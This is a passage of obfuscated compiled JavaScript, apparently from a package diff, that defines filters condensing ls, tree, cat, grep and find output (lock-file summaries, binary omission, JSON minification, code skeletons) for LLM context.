20','.py','require(','startsWith','\x20directories,\x20','\x20more\x20directories','\x20lines\x20total)','@return','sort','.gif','tracker','trim','.7z','some','\x20chars\x20(content\x20omitted\x20—\x20lock\x20files\x20are\x20not\x20useful\x20for\x20LLM\x20context)','.obj','\x20files\x20total\x20—\x20deep\x20entries\x20truncated)','\x20structural\x20lines\x20shown)','package\x20','.dat','\x0a...\x20[','.swift','call','parse','basename','skeleton','filterLs','187889eJQSbH','__esModule','.eot','2097728MbexkO','.java','.webm','4476NsoxmM','3964788iBZVkp','4004440gKSkYh','__createBinding','.bin','.jsx','\x0a...\x20(','indexOf','toLocaleString','.tsx'];a0_0x2086=function(){return _0x7e0cf1;};return a0_0x2086();}function filterJsonMinify(_0x47668f){const _0x48590a=a0_0x3b1cfc;try{const _0x548472=_0x47668f[_0x48590a(0x132)]();if(!_0x548472[_0x48590a(0x12a)]('{')&&!_0x548472['startsWith']('['))return null;const _0x12c23b=_0x548472[_0x48590a(0x112)]('\x0a');if(_0x12c23b[_0x48590a(0x16a)]<=0x14)return null;const _0x3a6bdb=JSON[_0x48590a(0x13e)](_0x548472),_0x4c0383=JSON[_0x48590a(0x11b)](_0x3a6bdb);if(_0x4c0383[_0x48590a(0x16a)]<_0x548472['length'])return _0x4c0383;return null;}catch{return null;}}function filterLs(_0x359c6f){const _0x338274=a0_0x3b1cfc,_0x365580=_0x359c6f[_0x338274(0x112)]('\x0a')[_0x338274(0x117)](_0x173ebb=>_0x173ebb[_0x338274(0x132)]()['length']>0x0);if(_0x365580[_0x338274(0x16a)]===0x0)return _0x338274(0x16b);if(_0x365580[_0x338274(0x16a)]<=0x1e)return _0x359c6f[_0x338274(0x132)]();const _0x2b3064=[],_0x498007=[];for(const _0xba24b1 of _0x365580){const _0x4be0c1=_0xba24b1['trim']();if(_0x4be0c1['startsWith']('total\x20')||_0x4be0c1[_0x338274(0x12a)]('d')&&_0x4be0c1['includes']('..'))continue;_0x4be0c1[_0x338274(0x167)]('/')||_0x4be0c1[_0x338274(0x12a)]('d')&&_0x4be0c1[_0x338274(0x18d)]('\x20')?_0x2b3064[_0x338274(0x169)](_0x4be0c1):_0x498007['push'](_0x4be0c1);}const _0x1b4b26=[];return _0x2b3064[_0x338274(0x16a)]>0x0&&(_0x2b3064[_0x338274(0x16a)]<=0xf?_0x1b4b26[_0x338274(0x169)](..._0x2b3064):(_0x1b4b26[_0x338274(0x169)](..._0x2b3064[_0x338274(0x16d)](0x0,0xa)),_0x1b4b26[_0x338274(0x169)](_0x338274(0x176)+(_0x2b3064['length']-0xa)+_0x338274(0x12c)))),_0x498007[_0x338274(0x16a)]>0x0&&(_0x498007['length']<=0x14?_0x1b4b26[_0x338274(0x169)](..._0x498007):(_0x1b4b26[_0x338274(0x169)](..._0x498007[_0x338274(0x16d)](0x0,0xf)),_0x1b4b26[_0x338274(0x169)](_0x338274(0x176)+(_0x498007[_0x338274(0x16a)]-0xf)+_0x338274(0x15b)))),_0x1b4b26[_0x338274(0x169)]('\x0a('+_0x2b3064[_0x338274(0x16a)]+_0x338274(0x12b)+_0x498007['length']+'\x20files)'),_0x1b4b26[_0x338274(0x186)]('\x0a');}function filterTree(_0x2787be){const _0x5762a3=a0_0x3b1cfc,_0x297ca2=_0x2787be[_0x5762a3(0x112)]('\x0a');if(_0x297ca2[_0x5762a3(0x16a)]<=0x32)return _0x2787be['trim']();const _0x549cfa=[];let _0x5ed2b7=0x0,_0x9288bf=0x0,_0x3b8ee6=0x0;for(const _0x16a9f8 of _0x297ca2){const _0x490280=_0x16a9f8['match'](/(\d+)\s+director/),_0x323807=_0x16a9f8[_0x5762a3(0x113)](/(\d+)\s+file/);if(_0x490280)_0x3b8ee6=parseInt(_0x490280[0x1]);if(_0x323807)_0x9288bf=parseInt(_0x323807[0x1]);const _0x493ede=(_0x16a9f8[_0x5762a3(0x113)](/^[│├└\s─]+/)||[''])[0x0][_0x5762a3(0x16a)];_0x493ede<=0x4&&(_0x549cfa[_0x5762a3(0x169)](_0x16a9f8),_0x5ed2b7++);}return _0x297ca2[_0x5762a3(0x16a)]>_0x549cfa[_0x5762a3(0x16a)]&&_0x549cfa[_0x5762a3(0x169)](_0x5762a3(0x14e)+_0x3b8ee6+_0x5762a3(0x12b)+_0x9288bf+_0x5762a3(0x137)),_0x549cfa['join']('\x0a');}function filterCat(_0x326a31,_0x52427c=''){const _0x51604a=a0_0x3b1cfc,_0x2f77d9=extractFilename(_0x52427c);try{if(_0x2f77d9&&isFeatureEnabled(_0x51604a(0x15a))){const _0x1af641=filterLockFile(_0x326a31,_0x2f77d9);if(_0x1af641)return _0x1af641;}if(isFeatureEnabled(_0x51604a(0x17e))){const _0x2f7c58=filterBinaryOrMinified(_0x326a31,_0x2f77d9);if(_0x2f7c58)return _0x2f7c58;}if(isFeatureEnabled(_0x51604a(0x154))){const _0x5bad09=(0x0,generic_1[_0x51604a(0x164)])(_0x326a31);if(_0x5bad09)return _0x5bad09;}const _0x1ae6a1=filterJsonMinify(_0x326a31);if(_0x1ae6a1)return _0x1ae6a1;if(_0x2f77d9&&isFeatureEnabled(_0x51604a(0x140))){const _0x21517a=path[_0x51604a(0x18c)](_0x2f77d9)[_0x51604a(0x171)](),_0x482433=['.ts','.js',_0x51604a(0x151),_0x51604a(0x14d),_0x51604a(0x128),_0x51604a(0x191),_0x51604a(0x10f),_0x51604a(0x146),'.c',_0x51604a(0x182),_0x51604a(0x10b),_0x51604a(0x10c),_0x51604a(0x13c),'.kt'];if(_0x482433[_0x51604a(0x18d)](_0x21517a)){const _0x8ed319=_0x326a31[_0x51604a(0x112)]('\x0a');if(_0x8ed319['length']>0x64){const _0x5215d3=[];_0x5215d3[_0x51604a(0x169)](_0x51604a(0x178)+path[_0x51604a(0x13f)](_0x2f77d9)+'\x20('+_0x8ed319['length']+_0x51604a(0x153)),_0x5215d3[_0x51604a(0x169)]('');for(const _0x2c789a of _0x8ed319){const _0x8b3eac=_0x2c789a['trim']();if(_0x8b3eac[_0x51604a(0x12a)](_0x51604a(0x17a))||_0x8b3eac[_0x51604a(0x12a)]('from\x20')||_0x8b3eac[_0x51604a(0x12a)](_0x51604a(0x129))||_0x8b3eac[_0x51604a(0x113)](/=\s*require\(/)||_0x8b3eac[_0x51604a(0x12a)](_0x51604a(0x122))||_0x8b3eac[_0x51604a(0x12a)]('use\x20')||_0x8b3eac['startsWith'](_0x51604a(0x139)))_0x5215d3[_0x51604a(0x169)](_0x2c789a);else{if(_0x8b3eac['match'](/^(export\s+)?(async\s+)?function\s+/)||_0x8b3eac[_0x51604a(0x113)](/^(export\s+)?(default\s+)?class\s+/)||_0x8b3eac[_0x51604a(0x113)](/^(export\s+)?(type|interface|enum)\s+/)||_0x8b3eac[_0x51604a(0x113)](/^(async\s+)?def\s+/)||_0x8b3eac[_0x51604a(0x113)](/^func\s+/)||_0x8b3eac[_0x51604a(0x113)](/^type\s+\w+\s+(struct|interface)/)||_0x8b3eac[_0x51604a(0x113)](/^(pub\s+)?(async\s+)?fn\s+/)||_0x8b3eac['match'](/^(pub\s+)?(struct|enum|trait|impl)\s+/)||_0x8b3eac['match'](/^(public|private|protected|static)\s+/))_0x5215d3[_0x51604a(0x169)](_0x2c789a);else{if(_0x8b3eac['startsWith']('export\x20')&&!_0x8b3eac['includes']('=>')&&_0x8b3eac['length']<0x78)_0x5215d3[_0x51604a(0x169)](_0x2c789a);else _0x8b3eac[_0x51604a(0x12a)]('@')&&!_0x8b3eac[_0x51604a(0x12a)]('@param')&&!_0x8b3eac[_0x51604a(0x12a)](_0x51604a(0x12e))&&_0x5215d3[_0x51604a(0x169)](_0x2c789a);}}}_0x5215d3['push'](''),_0x5215d3['push']('('+_0x8ed319['length']+_0x51604a(0x11c)+(_0x5215d3['length']-0x2)+_0x51604a(0x138));const _0x36b1fb=_0x5215d3[_0x51604a(0x186)]('\x0a');if(_0x36b1fb[_0x51604a(0x16a)]<_0x326a31[_0x51604a(0x16a)])return _0x36b1fb;}}}}catch{}let _0x461b01=(0x0,generic_1['collapseWhitespace'])(_0x326a31);if(_0x2f77d9){const _0x5eea93=path[_0x51604a(0x18c)](_0x2f77d9)[_0x51604a(0x171)]();_0x461b01=(0x0,generic_1[_0x51604a(0x158)])(_0x461b01,_0x5eea93);}const _0x1ab52f=_0x461b01[_0x51604a(0x112)]('\x0a');if(_0x1ab52f[_0x51604a(0x16a)]<=0x64)return _0x461b01;const _0x55f55b=[];return _0x55f55b[_0x51604a(0x169)](..._0x1ab52f[_0x51604a(0x16d)](0x0,0x32)),_0x55f55b[_0x51604a(0x169)](_0x51604a(0x13b)+(_0x1ab52f[_0x51604a(0x16a)]-0x50)+_0x51604a(0x114)),_0x55f55b[_0x51604a(0x169)](..._0x1ab52f[_0x51604a(0x16d)](-0x1e)),_0x55f55b[_0x51604a(0x169)]('\x0a('+_0x1ab52f[_0x51604a(0x16a)]+_0x51604a(0x12d)),_0x55f55b[_0x51604a(0x186)]('\x0a');}function filterGrep(_0xd5e452){const _0x97d571=a0_0x3b1cfc,_0x2e5fec=_0xd5e452[_0x97d571(0x112)]('\x0a')['filter'](_0x3235c2=>_0x3235c2[_0x97d571(0x132)]()[_0x97d571(0x16a)]>0x0);if(_0x2e5fec[_0x97d571(0x16a)]===0x0)return'No\x20matches\x20found';if(_0x2e5fec['length']<=0x32)return _0xd5e452['trim']();const _0x113695={},_0x725a0b=[];for(const _0x3ef213 of _0x2e5fec){const _0x55c505=_0x3ef213[_0x97d571(0x14f)](':');if(_0x55c505>0x0&&_0x55c505<0xc8){const _0x518b34=_0x3ef213[_0x97d571(0x165)](0x0,_0x55c505);if(_0x518b34['includes']('/')||_0x518b34[_0x97d571(0x18d)]('\x5c')||_0x518b34[_0x97d571(0x18d)]('.')){if(!_0x113695[_0x518b34])_0x113695[_0x518b34]=[];_0x113695[_0x518b34]['push'](_0x3ef213[_0x97d571(0x165)](_0x55c505+0x1)[_0x97d571(0x132)]());continue;}}_0x725a0b[_0x97d571(0x169)](_0x3ef213);}const _0x145660=[],_0x4c9254=Object['keys'](_0x113695);if(_0x4c9254['length']>0x0){const _0x33a2fd=0x14,_0x50562e=_0x4c9254[_0x97d571(0x16d)](0x0,_0x33a2fd);for(const _0x1a6b55 of _0x50562e){const _0x2f2d70=_0x113695[_0x1a6b55];if(_0x2f2d70['length']<=0x3)for(const _0x207af1 of _0x2f2d70){_0x145660[_0x97d571(0x169)](_0x1a6b55+':\x20'+_0x207af1);}else _0x145660[_0x97d571(0x169)](_0x1a6b55+':\x20'+_0x2f2d70[0x0]),_0x145660[_0x97d571(0x169)](_0x1a6b55+':\x20...\x20('+_0x2f2d70[_0x97d571(0x16a)]+'\x20matches\x20in\x20this\x20file)');}_0x4c9254[_0x97d571(0x16a)]>_0x33a2fd&&_0x145660[_0x97d571(0x169)]('...\x20+'+(_0x4c9254[_0x97d571(0x16a)]-_0x33a2fd)+'\x20more\x20files\x20with\x20matches');}if(_0x725a0b['length']>0x0){const _0x3caf4a=0x1e;_0x145660[_0x97d571(0x169)](..._0x725a0b[_0x97d571(0x16d)](0x0,_0x3caf4a)),_0x725a0b[_0x97d571(0x16a)]>_0x3caf4a&&_0x145660[_0x97d571(0x169)](_0x97d571(0x176)+(_0x725a0b[_0x97d571(0x16a)]-_0x3caf4a)+_0x97d571(0x159));}const _0x42d4d5=_0x2e5fec[_0x97d571(0x16a)];return _0x145660[_0x97d571(0x169)]('\x0a('+_0x42d4d5+'\x20matches\x20across\x20'+(_0x4c9254['length']||'?')+'\x20files)'),_0x145660[_0x97d571(0x186)]('\x0a');}function filterFind(_0x4de026){const _0x3df0c8=a0_0x3b1cfc,_0x394e1f=_0x4de026[_0x3df0c8(0x112)]('\x0a')[_0x3df0c8(0x117)](_0x304ecd=>_0x304ecd['trim']()[_0x3df0c8(0x16a)]>0x0);if(_0x394e1f[_0x3df0c8(0x16a)]===0x0)return _0x3df0c8(0x179);if(_0x394e1f[_0x3df0c8(0x16a)]<=0x32)return _0x4de026['trim']();const _0x2cf94a={};for(const _0x3d21f7 of _0x394e1f){const _0x3f7cf2=path[_0x3df0c8(0x120)](_0x3d21f7[_0x3df0c8(0x132)]())||'.';_0x2cf94a[_0x3f7cf2]=(_0x2cf94a[_0x3f7cf2]||0x0)+0x1;}const _0x4289f8=Object[_0x3df0c8(0x115)](_0x2cf94a)[_0x3df0c8(0x12f)]((_0x5017e3,_0x20602f)=>_0x20602f[0x1]-_0x5017e3[0x1]),_0x2fdcd0=[_0x394e1f['length']+_0x3df0c8(0x126)+_0x4289f8['length']+_0x3df0c8(0x162),''],_0x489354=0x1e;for(const [_0x2e2711,_0x37d732]of _0x4289f8[_0x3df0c8(0x16d)](0x0,_0x489354)){_0x2fdcd0[_0x3df0c8(0x169)]('\x20\x20'+_0x2e2711+_0x3df0c8(0x105)+_0x37d732+_0x3df0c8(0x18a));}return _0x4289f8[_0x3df0c8(0x16a)]>_0x489354&&_0x2fdcd0[_0x3df0c8(0x169)]('\x20\x20...\x20+'+(_0x4289f8[_0x3df0c8(0x16a)]-_0x489354)+'\x20more\x20directories'),_0x2fdcd0[_0x3df0c8(0x186)]('\x0a');}
|
|
1
|
+
'use strict';const a0_0x10ff8c=a0_0x30d5;(function(_0x272f7a,_0x49b3d0){const _0x14d9d0=a0_0x30d5,_0x50c5a8=_0x272f7a();while(!![]){try{const _0x456fe7=-parseInt(_0x14d9d0(0xcf))/0x1+parseInt(_0x14d9d0(0x146))/0x2*(parseInt(_0x14d9d0(0xd7))/0x3)+parseInt(_0x14d9d0(0xb8))/0x4*(parseInt(_0x14d9d0(0xec))/0x5)+parseInt(_0x14d9d0(0x114))/0x6*(parseInt(_0x14d9d0(0x143))/0x7)+parseInt(_0x14d9d0(0xce))/0x8*(parseInt(_0x14d9d0(0xca))/0x9)+-parseInt(_0x14d9d0(0x106))/0xa*(-parseInt(_0x14d9d0(0x132))/0xb)+-parseInt(_0x14d9d0(0x136))/0xc*(parseInt(_0x14d9d0(0xc3))/0xd);if(_0x456fe7===_0x49b3d0)break;else _0x50c5a8['push'](_0x50c5a8['shift']());}catch(_0xbd555a){_0x50c5a8['push'](_0x50c5a8['shift']());}}}(a0_0x8f00,0x3c824));var __createBinding=this&&this[a0_0x10ff8c(0xbd)]||(Object['create']?function(_0x50de36,_0x25d66b,_0x46d905,_0x33b21b){const _0x507f06=a0_0x10ff8c;if(_0x33b21b===undefined)_0x33b21b=_0x46d905;var _0x295692=Object[_0x507f06(0x135)](_0x25d66b,_0x46d905);(!_0x295692||(_0x507f06(0x103)in _0x295692?!_0x25d66b['__esModule']:_0x295692[_0x507f06(0x10a)]||_0x295692[_0x507f06(0xfc)]))&&(_0x295692={'enumerable':!![],'get':function(){return _0x25d66b[_0x46d905];}}),Object[_0x507f06(0xbc)](_0x50de36,_0x33b21b,_0x295692);}:function(_0x1a8d95,_0x142d28,_0x5b9e8a,_0x2175e6){if(_0x2175e6===undefined)_0x2175e6=_0x5b9e8a;_0x1a8d95[_0x2175e6]=_0x142d28[_0x5b9e8a];}),__setModuleDefault=this&&this[a0_0x10ff8c(0xeb)]||(Object[a0_0x10ff8c(0x138)]?function(_0x472622,_0x10adad){const _0x42b7c1=a0_0x10ff8c;Object['defineProperty'](_0x472622,_0x42b7c1(0x101),{'enumerable':!![],'value':_0x10adad});}:function(_0x36ecba,_0xa46a3){_0x36ecba['default']=_0xa46a3;}),__importStar=this&&this[a0_0x10ff8c(0xe0)]||(function(){var _0x130e5c=function(_0x3598e9){const _0x595134=a0_0x30d5;return _0x130e5c=Object[_0x595134(0x110)]||function(_0x9a0855){const _0x4b6c04=_0x595134;var _0x5e061c=[];for(var _0x2cb90d in _0x9a0855)if(Object[_0x4b6c04(0x131)][_0x4b6c04(0x11a)][_0x4b6c04(0xf7)](_0x9a0855,_0x2cb90d))_0x5e061c[_0x5e061c[_0x4b6c04(0xdd)]]=_0x2cb90d;return _0x5e061c;},_0x130e5c(_0x3598e9);};return function(_0xdcd56d){const _0x4c9d87=a0_0x30d5;if(_0xdcd56d&&_0xdcd56d[_0x4c9d87(0xcd)])return _0xdcd56d;var _0x29d69f={};if(_0xdcd56d!=null){for(var _0x21f523=_0x130e5c(_0xdcd56d),_0x2d7237=0x0;_0x2d7237<_0x21f523['length'];_0x2d7237++)if(_0x21f523[_0x2d7237]!==_0x4c9d87(0x101))__createBinding(_0x29d69f,_0xdcd56d,_0x21f523[_0x2d7237]);}return __setModuleDefault(_0x29d69f,_0xdcd56d),_0x29d69f;};}());Object[a0_0x10ff8c(0xbc)](exports,'__esModule',{'value':!![]}),exports[a0_0x10ff8c(0xee)]=filterLs,exports['filterTree']=filterTree,exports[a0_0x10ff8c(0xd9)]=filterCat,exports[a0_0x10ff8c(0xd6)]=filterGrep,exports[a0_0x10ff8c(0x102)]=filterFind;const path=__importStar(require(a0_0x10ff8c(0xe4))),generic_1=require('./generic'),tracker_1=require('../tracker');function isFeatureEnabled(_0x158605){const _0x17f058=a0_0x10ff8c;try{const _0xedc2a6=tracker_1['tracker'][_0x17f058(0xf3)](),_0x309385=_0xedc2a6[_0x17f058(0x12a)];if(!_0x309385||_0x309385[_0x158605]===undefined)return!![];return _0x309385[_0x158605]!==![];}catch{return!![];}}const LOCK_FILES=[a0_0x10ff8c(0xfb),'yarn.lock','pnpm-lock.yaml',a0_0x10ff8c(0x13a),a0_0x10ff8c(0xbb),a0_0x10ff8c(0x115),a0_0x10ff8c(0x109),'Gemfile.lock',a0_0x10ff8c(0xda)],BINARY_EXTENSIONS=[a0_0x10ff8c(0xef),a0_0x10ff8c(0xb5),a0_0x10ff8c(0x13f),a0_0x10ff8c(0xb2),'.png',a0_0x10ff8c(0x10c),'.jpeg',a0_0x10ff8c(0xd0),'.ico','.bmp',a0_0x10ff8c(0xcc),a0_0x10ff8c(0xd3),a0_0x10ff8c(0x11c),a0_0x10ff8c(0x105),a0_0x10ff8c(0xf5),a0_0x10ff8c(0x100),a0_0x10ff8c(0x12c),a0_0x10ff8c(0x141),a0_0x10ff8c(0x10d),a0_0x10ff8c(0x126),'.exe',a0_0x10ff8c(0xb1),'.so',a0_0x10ff8c(0x13c),a0_0x10ff8c(0x120),'.dat',a0_0x10ff8c(0x12e),a0_0x10ff8c(0xe6),a0_0x10ff8c(0xd4),a0_0x10ff8c(0xf2),a0_0x10ff8c(0xf6),'.ttf','.eot',a0_0x10ff8c(0x128),'.mp3',a0_0x10ff8c(0xc7),'.wav',a0_0x10ff8c(0x10e),a0_0x10ff8c(0x130),a0_0x10ff8c(0x145),a0_0x10ff8c(0x13d),'.pyo',a0_0x10ff8c(0xe8),'.o',a0_0x10ff8c(0xc2)];function a0_0x8f00(){const _0x3db402=['.rar','[binary\x20file]\x20','.otf','\x20more\x20files','features_enabled','charCodeAt','.gz','\x0a...\x20[','.sqlite','dependencies','.mov','prototype','22EpjSli','require(','\x20structural\x20lines\x20shown)','getOwnPropertyDescriptor','2922636OSZktN','basename','create','\x20matches\x20across\x20','Cargo.lock','match','.dylib','.pyc','\x20files\x20found\x20across\x20','.map','.java','.bz2','@return','35728gENZnZ','.cs','.webm','20fuXiBb','No\x20matches\x20found','substring','\x20chars\x20(high\x20non-printable\x20ratio\x20—\x20content\x20omitted)','.dll','.wasm','binary','endsWith','.min.css','parse','\x20lines\x20truncated]\x20...\x0a','1847572aLgErZ','from\x20','floor','go.sum','defineProperty','__createBinding','stripComments','\x20chars,\x20type:\x20','[minified\x20file]\x20','filter','.obj','65nBmEVZ','.go','join','pnpm-lock.yaml','.mp4','\x20line(s)\x20(content\x20omitted\x20—\x20not\x20human-readable)','toLocaleString','315513LZduzu','slice','.webp','__esModule','56oRNpYb','299607dJKPlZ','.gif','...\x20+','Empty\x20directory','.svg','.sqlite3','toLowerCase','filterGrep','95019KdxNYA','.py','filterCat','bun.lockb','package\x20','.kt','length','sort','entries','__importStar','trim','/\x20(','stringify','path','\x20directories,\x20','.db','[code\x20skeleton]\x20','.class','collapseWhitespace','startsWith','__setModuleDefault','5VLdvkW','.js','filterLs','.min.js','export\x20','\x20more\x20directories','.woff','getConfig','.tsx','.tar.gz','.woff2','call','.rs','import\x20','\x20directories','package-lock.json','configurable','[lock\x20file]\x20','.ts','.jsx','.tgz','default','filterFind','get','dirname','.zip','1613330HQIsKG','push','.cpp','composer.lock','writable','\x20chars\x20(content\x20omitted\x20—\x20lock\x20files\x20are\x20not\x20useful\x20for\x20LLM\x20context)','.jpg','.7z','.avi','#include\x20','getOwnPropertyNames','\x20lines\x20total)','some','[binary/minified\x20file]\x20','492jrtFdi','poetry.lock','keys','yarn.lock','extname','\x20more\x20files\x20with\x20matches','hasOwnProperty','\x20files)','.pdf','packages','use\x20','No\x20files\x20found','.bin','skeleton','split','\x20(content\x20omitted\x20—\x20not\x20useful\x20for\x20LLM\x20context)','\x20matches\x20in\x20this\x20file)','includes'];a0_0x8f00=function(){return _0x3db402;};return a0_0x8f00();}function extractFilename(_0x41b508){const _0x517ec3=a0_0x10ff8c,_0x420871=_0x41b508[_0x517ec3(0xe1)]()[_0x517ec3(0x122)](/\s+/);for(let _0x2ae28b=0x1;_0x2ae28b<_0x420871[_0x517ec3(0xdd)];_0x2ae28b++){if(!_0x420871[_0x2ae28b][_0x517ec3(0xea)]('-'))return _0x420871[_0x2ae28b];}return null;}function filterLockFile(_0x3095e2,_0xeb1c5a){const _0x564624=a0_0x10ff8c;try{const _0x8c39e8=path[_0x564624(0x137)](_0xeb1c5a)[_0x564624(0xd5)]();if(!LOCK_FILES[_0x564624(0x112)](_0x3fe4d2=>_0x8c39e8===_0x3fe4d2[_0x564624(0xd5)]()))return null;const _0x236e65=_0x3095e2[_0x564624(0xdd)];let _0x5c29ff=0x0;if(_0x8c39e8===_0x564624(0xfb))try{const _0x404c81=JSON[_0x564624(0xb6)](_0x3095e2);_0x5c29ff=Object['keys'](_0x404c81[_0x564624(0x11d)]||_0x404c81[_0x564624(0x12f)]||{})[_0x564624(0xdd)];}catch{_0x5c29ff=(_0x3095e2[_0x564624(0x13b)](/"resolved":/g)||[])[_0x564624(0xdd)];}else{if(_0x8c39e8===_0x564624(0x117))_0x5c29ff=(_0x3095e2['match'](/^"?[^#\s][^:]*:$/gm)||[])[_0x564624(0xdd)];else{if(_0x8c39e8==='cargo.lock'||_0x8c39e8===_0x564624(0x115))_0x5c29ff=(_0x3095e2[_0x564624(0x13b)](/\[\[package\]\]/g)||[])['length'];else{if(_0x8c39e8===_0x564624(0xbb))_0x5c29ff=Math[_0x564624(0xba)](_0x3095e2[_0x564624(0x122)]('\x0a')[_0x564624(0xc1)](_0x30f3ee=>_0x30f3ee['trim']())[_0x564624(0xdd)]/0x2);else{if(_0x8c39e8===_0x564624(0x109))try{_0x5c29ff=JSON[_0x564624(0xb6)](_0x3095e2)[_0x564624(0x11d)]?.[_0x564624(0xdd)]||0x0;}catch{}else _0x8c39e8===_0x564624(0xc6)?_0x5c29ff=(_0x3095e2[_0x564624(0x13b)](/^\s{2}['"@a-z]/gm)||[])[_0x564624(0xdd)]:_0x5c29ff=_0x3095e2[_0x564624(0x122)]('\x0a')[_0x564624(0xc1)](_0x1d6536=>_0x1d6536[_0x564624(0xe1)]())[_0x564624(0xdd)];}}}}return _0x564624(0xfd)+path['basename'](_0xeb1c5a)+':\x20'+_0x5c29ff+'\x20dependencies,\x20'+_0x236e65['toLocaleString']()+_0x564624(0x10b);}catch{return null;}}function filterBinaryOrMinified(_0x38a22e,_0x17088c){const _0x4f7b03=a0_0x10ff8c;try{if(_0x17088c){const _0x47d364=_0x17088c['toLowerCase']();for(const _0x4e59c8 of BINARY_EXTENSIONS){if(_0x47d364[_0x4f7b03(0xb4)](_0x4e59c8))return _0x4f7b03(0x113)+path[_0x4f7b03(0x137)](_0x17088c)+',\x20'+_0x38a22e['length'][_0x4f7b03(0xc9)]()+_0x4f7b03(0xbf)+_0x4e59c8+_0x4f7b03(0x123);}}const _0x997a1a=_0x38a22e[_0x4f7b03(0x148)](0x0,0x3e8);let _0x53f1cc=0x0;for(let _0x26ce35=0x0;_0x26ce35<_0x997a1a['length'];_0x26ce35++){if(_0x997a1a[_0x4f7b03(0x12b)](_0x26ce35)===0x0)_0x53f1cc++;}if(_0x53f1cc>0x0)return _0x4f7b03(0x127)+_0x38a22e['length'][_0x4f7b03(0xc9)]()+'\x20chars\x20(contains\x20null\x20bytes\x20—\x20binary\x20content\x20omitted)';let _0x4bcd47=0x0;for(let _0xd39c71=0x0;_0xd39c71<_0x997a1a[_0x4f7b03(0xdd)];_0xd39c71++){const _0x1f35f7=_0x997a1a[_0x4f7b03(0x12b)](_0xd39c71);if(_0x1f35f7<0x20&&_0x1f35f7!==0xa&&_0x1f35f7!==0xd&&_0x1f35f7!==0x9)_0x4bcd47++;}if(_0x997a1a['length']>0x64&&_0x4bcd47>_0x997a1a[_0x4f7b03(0xdd)]*0.1)return'[binary\x20file]\x20'+_0x38a22e[_0x4f7b03(0xdd)][_0x4f7b03(0xc9)]()+_0x4f7b03(0xb0);const _0x2469da=_0x38a22e[_0x4f7b03(0x122)]('\x0a');if(_0x2469da['length']<=0x3&&_0x38a22e['length']>0x1388)return _0x4f7b03(0xc0)+_0x38a22e[_0x4f7b03(0xdd)][_0x4f7b03(0xc9)]()+'\x20chars\x20across\x20'+_0x2469da['length']+_0x4f7b03(0xc8);return null;}catch{return null;}}function filterJsonMinify(_0x32ee0d){const _0x293786=a0_0x10ff8c;try{const _0x592ce8=_0x32ee0d[_0x293786(0xe1)]();if(!_0x592ce8[_0x293786(0xea)]('{')&&!_0x592ce8['startsWith']('['))return null;const _0x11475b=_0x592ce8['split']('\x0a');if(_0x11475b[_0x293786(0xdd)]<=0x14)return null;const _0x5825ba=JSON['parse'](_0x592ce8),_0x376310=JSON[_0x293786(0xe3)](_0x5825ba);if(_0x376310[_0x293786(0xdd)]<_0x592ce8['length'])return _0x376310;return null;}catch{return null;}}function filterLs(_0x289fb5){const _0x205fb2=a0_0x10ff8c,_0x3de095=_0x289fb5[_0x205fb2(0x122)]('\x0a')[_0x205fb2(0xc1)](_0x444e51=>_0x444e51[_0x205fb2(0xe1)]()[_0x205fb2(0xdd)]>0x0);if(_0x3de095[_0x205fb2(0xdd)]===0x0)return _0x205fb2(0xd2);if(_0x3de095[_0x205fb2(0xdd)]<=0x1e)return _0x289fb5['trim']();const _0x20791d=[],_0x4f0c25=[];for(const _0x3d6bc2 of _0x3de095){const _0x5c19f5=_0x3d6bc2[_0x205fb2(0xe1)]();if(_0x5c19f5[_0x205fb2(0xea)]('total\x20')||_0x5c19f5[_0x205fb2(0xea)]('d')&&_0x5c19f5[_0x205fb2(0x125)]('..'))continue;_0x5c19f5[_0x205fb2(0xb4)]('/')||_0x5c19f5[_0x205fb2(0xea)]('d')&&_0x5c19f5[_0x205fb2(0x125)]('\x20')?_0x20791d[_0x205fb2(0x107)](_0x5c19f5):_0x4f0c25[_0x205fb2(0x107)](_0x5c19f5);}const _0x25e457=[];return _0x20791d[_0x205fb2(0xdd)]>0x0&&(_0x20791d[_0x205fb2(0xdd)]<=0xf?_0x25e457[_0x205fb2(0x107)](..._0x20791d):(_0x25e457[_0x205fb2(0x107)](..._0x20791d[_0x205fb2(0xcb)](0x0,0xa)),_0x25e457[_0x205fb2(0x107)](_0x205fb2(0xd1)+(_0x20791d[_0x205fb2(0xdd)]-0xa)+_0x205fb2(0xf1)))),_0x4f0c25[_0x205fb2(0xdd)]>0x0&&(_0x4f0c25[_0x205fb2(0xdd)]<=0x14?_0x25e457[_0x205fb2(0x107)](..._0x4f0c25):(_0x25e457[_0x205fb2(0x107)](..._0x4f0c25[_0x205fb2(0xcb)](0x0,0xf)),_0x25e457[_0x205fb2(0x107)]('...\x20+'+(_0x4f0c25[_0x205fb2(0xdd)]-0xf)+_0x205fb2(0x129)))),_0x25e457[_0x205fb2(0x107)]('\x0a('+_0x20791d['length']+_0x205fb2(0xe5)+_0x4f0c25['length']+_0x205fb2(0x11b)),_0x25e457['join']('\x0a');}function filterTree(_0xd267fa){const _0x455d57=a0_0x10ff8c,_0x51911c=_0xd267fa['split']('\x0a');if(_0x51911c[_0x455d57(0xdd)]<=0x32)return _0xd267fa['trim']();const _0x653a2b=[];let _0x42211b=0x0,_0x47f601=0x0,_0x16c7d2=0x0;for(const _0xbcf2fd of _0x51911c){const _0x3e683e=_0xbcf2fd[_0x455d57(0x13b)](/(\d+)\s+director/),_0x7497d4=_0xbcf2fd[_0x455d57(0x13b)](/(\d+)\s+file/);if(_0x3e683e)_0x16c7d2=parseInt(_0x3e683e[0x1]);if(_0x7497d4)_0x47f601=parseInt(_0x7497d4[0x1]);const _0x3674f4=(_0xbcf2fd[_0x455d57(0x13b)](/^[│├└\s─]+/)||[''])[0x0][_0x455d57(0xdd)];_0x3674f4<=0x4&&(_0x653a2b['push'](_0xbcf2fd),_0x42211b++);}return _0x51911c['length']>_0x653a2b[_0x455d57(0xdd)]&&_0x653a2b[_0x455d57(0x107)]('\x0a...\x20('+_0x16c7d2+_0x455d57(0xe5)+_0x47f601+'\x20files\x20total\x20—\x20deep\x20entries\x20truncated)'),_0x653a2b[_0x455d57(0xc5)]('\x0a');}function filterCat(_0x35105e,_0xb83aa1=''){const _0x2fcb03=a0_0x10ff8c,_0x48a4a8=extractFilename(_0xb83aa1);try{if(_0x48a4a8&&isFeatureEnabled('lock')){const _0x11cf90=filterLockFile(_0x35105e,_0x48a4a8);if(_0x11cf90)return _0x11cf90;}if(isFeatureEnabled(_0x2fcb03(0xb3))){const _0x45b216=filterBinaryOrMinified(_0x35105e,_0x48a4a8);if(_0x45b216)return _0x45b216;}if(isFeatureEnabled('json_crusher')){const 